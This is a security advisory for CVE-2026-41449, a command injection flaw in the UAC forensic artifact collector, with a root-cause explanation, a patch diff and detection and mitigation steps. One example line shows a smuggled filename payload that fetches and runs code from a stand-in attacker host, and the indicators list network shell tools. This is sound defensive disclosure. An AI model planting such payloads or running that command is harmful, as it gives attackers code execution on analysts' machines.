CVE-2026-41449: UAC Command Injection RCE Vulnerability

CVE-2026-41449 Overview

CVE-2026-41449 is a command injection vulnerability [CWE-78] in UAC (Unix-like Artifacts Collector) versions prior to 3.3.0. The flaw resides in the _run_command function, which fails to sanitize shell metacharacters embedded in untrusted evidence data such as usernames, process names, or filenames. Attackers can plant malicious values in mounted disk images, tampered artifact definitions, or crafted evidence inputs. When an analyst runs UAC against the hostile evidence, the injected metacharacters execute as shell commands on the analyst's host. This turns a defensive triage tool into an execution vector against forensic responders.

Critical Impact
Processing hostile evidence with a vulnerable UAC build results in arbitrary command execution on the incident responder's workstation.

Affected Products

UAC (Unix-like Artifacts Collector) versions prior to 3.3.0
Forensic workstations and DFIR triage hosts running vulnerable UAC builds
Automated pipelines that invoke UAC against untrusted disk images or artifacts

Discovery Timeline

2026-08-21 - CVE-2026-41449 published to NVD
2026-08-21 - Last updated in NVD database

Technical Details for CVE-2026-41449

Vulnerability Analysis

UAC is a shell-based live response collector used by incident responders on Unix-like systems. The _run_command code path substitutes placeholders such as %line% into command templates using sed, then executes the resulting string through the shell. Because the substitution occurs before shell parsing, any metacharacter present in the placeholder value (a hostile username, filename, or process name) is interpreted by the shell rather than treated as data.

An adversary who controls artifact content, for example by staging a file named $(curl attacker/x|sh) on a suspect image, causes UAC to execute that command when it iterates over evidence. The execution context is the analyst account running UAC, typically a privileged forensic user.

Root Cause

The root cause is unsafe string interpolation into shell command lines. lib/command_collector.sh used sed to inline untrusted %line% values directly into commands and output directory paths. No quoting, escaping, or allow-list validation was applied before the shell evaluated the resulting string.

Attack Vector

Exploitation requires a local attack vector with user interaction: an analyst must run UAC against attacker-influenced data. Typical vectors include mounting a suspect disk image containing hostile filenames, ingesting a tampered artifact definition file, or processing evidence copied from a compromised host with weaponized usernames or process names.

bash

# Security patch in lib/command_collector.sh (excerpt)
       | while IFS= read __cc_line && [ -n "${__cc_line}" ]; do
 
           # replace %line% by __cc_line value
-          __cc_new_command=`echo "${__cc_command}" | sed -e "s|%line%|${__cc_line}|g"`
-          __cc_new_output_directory=`echo "${__cc_output_directory}" | sed -e "s|%line%|${__cc_line}|g"`
+          __cc_new_command=`_replace_placeholder_shell_fragment "${__cc_command}" "%line%" "${__cc_line}"`
+          __cc_new_output_directory=`_replace_placeholder_plain_text "${__cc_output_directory}" "%line%" "${__cc_line}"`
           
           __cc_new_output_directory=`_sanitize_output_directory "${__cc_new_output_directory}"`
# Source: https://github.com/tclahr/uac/commit/2cc367d8ead388f05abd3cfb8af537788a124e72

The fix routes substitutions through dedicated helpers (_replace_placeholder_shell_fragment and _replace_placeholder_plain_text) that properly quote or escape the value based on whether it will be re-parsed by the shell or used as plain text.

Detection Methods for CVE-2026-41449

Indicators of Compromise

Unexpected child processes spawned by uac or bash during evidence collection, especially network clients such as curl, wget, nc, or reverse shells.
Filenames, usernames, or process names inside evidence containing shell metacharacters like `, $(, ;, |, or &&.
Outbound connections from the forensic workstation to unknown hosts while UAC is running.
Modifications to the analyst's home directory, SSH keys, or shell rc files during a triage session.

Detection Strategies

Baseline the expected process tree for UAC runs and alert on deviations, particularly interpreters or networking tools launched under the UAC parent.
Scan artifact definition files and mounted evidence for entries containing shell metacharacters before invocation.
Compare installed UAC versions against 3.3.0 across DFIR fleet inventory.

Monitoring Recommendations

Log all UAC invocations with full command line and evidence source, and ship them to a central data lake for review.
Enable auditd or eBPF-based process monitoring on forensic workstations to capture execve events during triage.
Alert on egress network activity from workstations designated as offline analysis hosts.

How to Mitigate CVE-2026-41449

Immediate Actions Required

Upgrade UAC to version 3.3.0 or later on every forensic workstation, jump box, and automation pipeline.
Audit existing evidence-processing scripts for any custom wrappers that reintroduce unsafe sed-based substitution.
Re-image or forensically review any analyst workstation that recently processed evidence from an untrusted source with a vulnerable UAC build.

Patch Information

The fix was merged via GitHub Pull Request #443 and shipped in the UAC commit 2cc367d. Additional context is available in the VulnCheck Advisory on UAC Injection.

Workarounds

Run UAC only inside an isolated, disposable virtual machine with no network egress when processing untrusted evidence.
Mount suspect images read-only and pre-scan for filenames containing shell metacharacters before invoking UAC.
Restrict the analyst account executing UAC to least privilege and separate it from accounts holding credentials or cloud tokens.